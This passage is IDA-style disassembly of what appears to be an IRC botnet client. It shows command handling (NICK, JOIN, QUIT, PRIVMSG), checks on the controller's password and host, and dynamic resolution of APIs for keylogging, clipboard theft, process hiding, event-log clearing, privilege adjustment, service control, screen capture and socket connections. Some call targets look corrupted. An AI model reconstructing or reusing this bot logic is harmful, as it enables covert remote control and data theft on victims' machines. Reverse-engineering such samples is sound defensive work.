		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_443560[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_42F064
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_42F03C


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_42F018
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_42EFEC


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_42F750
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_42EFD0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_42F6B4
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_42EFAC
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_42EF88
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_42EF64
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42EF40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 2680E26h


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42EF18
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42EEF4


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_432338 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4D06DC
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_42EEF0 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_42EE70
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], (offset loc_42915B+1)


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], (offset loc_42915F+1)
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_42EE1C
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42EDFC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42EDDC
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4D06D4, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	near ptr 2680E26h
		nop

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4D08D0, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4D0844, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4D0828, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4D0738, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4D06E4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4D0714, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4D078C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4D0884, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4D08E0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4D0744, eax
		call	esi
		cmp	dword_4D08D0, ebx
		mov	dword_4D072C, eax
		jz	short loc_409C10
		cmp	dword_4D0844, ebx
		jz	short loc_409C10
		cmp	dword_4D0828, ebx
		jz	short loc_409C10
		cmp	dword_4D0738, ebx
		jz	short loc_409C10
		cmp	dword_4D0714, ebx
		jz	short loc_409C10
		cmp	dword_4D078C, ebx
		jz	short loc_409C10
		cmp	dword_4D0884, ebx
		jz	short loc_409C10
		cmp	dword_4D08E0, ebx
		jz	short loc_409C10
		cmp	dword_4D0744, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4D08E4, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4D085C, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 2690A97h
		mov	dword_4D08E8, eax
		mov	dword_4D08E4, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4D0880, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4D0830, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4D07C4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4D08D4, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4D07F4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4D0814, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4D0878, eax
		call	esi
		cmp	dword_4D0880, ebx
		mov	dword_4D0764, eax
		jz	short loc_409D00
		cmp	dword_4D0830, ebx
		jz	short loc_409D00
		cmp	dword_4D07C4, ebx
		jz	short loc_409D00
		cmp	dword_4D08D4, ebx
		jz	short loc_409D00
		cmp	dword_4D07F4, ebx
		jz	short loc_409D00
		cmp	dword_4D0814, ebx
		jz	short loc_409D00
		cmp	dword_4D0878, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4D08EC, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4D07F0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4D06F8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4D07C0, eax
		call	esi
		cmp	dword_4D07F0, ebx
		mov	dword_4D07A8, eax
		jz	short loc_409D67
		cmp	dword_4D06F8, ebx
		jz	short loc_409D67
		cmp	dword_4D07C0, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		call	near ptr 2690A97h
		nop
		mov	dword_4D08F0, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4D08EC, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4D0894, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4D07D8, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4D0848, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4D0724, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4D0788, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4D0800, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4D07A4, eax
		call	esi
		cmp	dword_4D0894, ebx
		mov	dword_4D07B4, eax
		jz	short loc_409E1A
		cmp	dword_4D07D8, ebx
		jz	short loc_409E1A
		cmp	dword_4D0848, ebx
		jz	short loc_409E1A
		cmp	dword_4D0724, ebx
		jz	short loc_409E1A
		cmp	dword_4D0788, ebx
		jz	short loc_409E1A
		cmp	dword_4D0800, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4D08F4, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4D0808, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4D07E0, eax
		call	esi
		cmp	dword_4D0808, ebx
		mov	dword_4D0890, eax
		jz	short loc_409E5F
		cmp	dword_4D07E0, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4D08F4, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4D0818, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4D0700, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4D0708, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4D076C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4D0770, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4D071C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4D07E4, eax
		call	esi
		cmp	dword_4D0818, ebx
		mov	dword_4D070C, eax
		jz	short loc_409F0D
		cmp	dword_4D0700, ebx
		jz	short loc_409F0D
		cmp	dword_4D0708, ebx
		jz	short loc_409F0D
		cmp	dword_4D076C, ebx
		jz	short loc_409F0D
		cmp	dword_4D0770, ebx
		jz	short loc_409F0D
		cmp	dword_4D071C, ebx
		jz	short loc_409F0D
		cmp	dword_4D07E4, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4D08F4, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4D0704, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2690A97h
		mov	dword_4D08F8, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4D08F4, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4D0810, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4D0868, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4D0870, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4D082C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4D0748, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4D06F4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4D086C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4D06E0, eax
		call	esi
		cmp	dword_4D0810, ebx
		mov	dword_4D0780, eax
		jz	short loc_40A016
		cmp	dword_4D0868, ebx
		jz	short loc_40A016
		cmp	dword_4D0870, ebx
		jz	short loc_40A016
		cmp	dword_4D082C, ebx
		jz	short loc_40A016
		cmp	dword_4D0748, ebx
		jz	short loc_40A016
		cmp	dword_4D06F4, ebx
		jz	short loc_40A016
		cmp	dword_4D086C, ebx
		jz	short loc_40A016
		cmp	dword_4D06E0, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2690A97h
		mov	dword_4D0900, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4D08FC, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4D0794, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4D08C8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4D0734, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4D0710, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4D07D0, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4D07B8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4D077C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4D08A4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4D08C0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4D07CC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4D08B0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4D0864, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4D0824, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4D0820, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4D0754, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4D074C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4D0874, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4D0888, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4D083C, eax
		call	esi
		mov	dword_4D07FC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4D0850, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4D080C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4D084C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4D08B8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4D0804, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4D07C8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4D0838, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4D08A8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4D07DC, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4D0778, eax
		call	esi
		cmp	dword_4D0794, ebx
		mov	dword_4D08BC, eax
		jz	loc_40A2E7
		cmp	dword_4D08C8, ebx
		jz	loc_40A2E7
		cmp	dword_4D0734, ebx
		jz	loc_40A2E7
		cmp	dword_4D07D0, ebx
		jz	loc_40A2E7
		cmp	dword_4D07B8, ebx
		jz	loc_40A2E7
		cmp	dword_4D077C, ebx
		jz	loc_40A2E7
		cmp	dword_4D08A4, ebx
		jz	loc_40A2E7
		cmp	dword_4D08C0, ebx
		jz	loc_40A2E7
		cmp	dword_4D07CC, ebx
		jz	loc_40A2E7
		cmp	dword_4D08B0, ebx
		jz	loc_40A2E7
		cmp	dword_4D0864, ebx
		jz	loc_40A2E7
		cmp	dword_4D0824, ebx
		jz	loc_40A2E7
		cmp	dword_4D0820, ebx
		jz	loc_40A2E7
		cmp	dword_4D0754, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0874, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0888, ebx
		jz	short loc_40A2E7
		cmp	dword_4D083C, ebx
		jz	short loc_40A2E7
		cmp	dword_4D07FC, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0850, ebx
		jz	short loc_40A2E7
		cmp	dword_4D080C, ebx
		jz	short loc_40A2E7
		cmp	dword_4D084C, ebx
		jz	short loc_40A2E7
		cmp	dword_4D08B8, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0804, ebx
		jz	short loc_40A2E7
		cmp	dword_4D07C8, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0838, ebx
		jz	short loc_40A2E7
		cmp	dword_4D08A8, ebx
		jz	short loc_40A2E7
		cmp	dword_4D07DC, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		nop
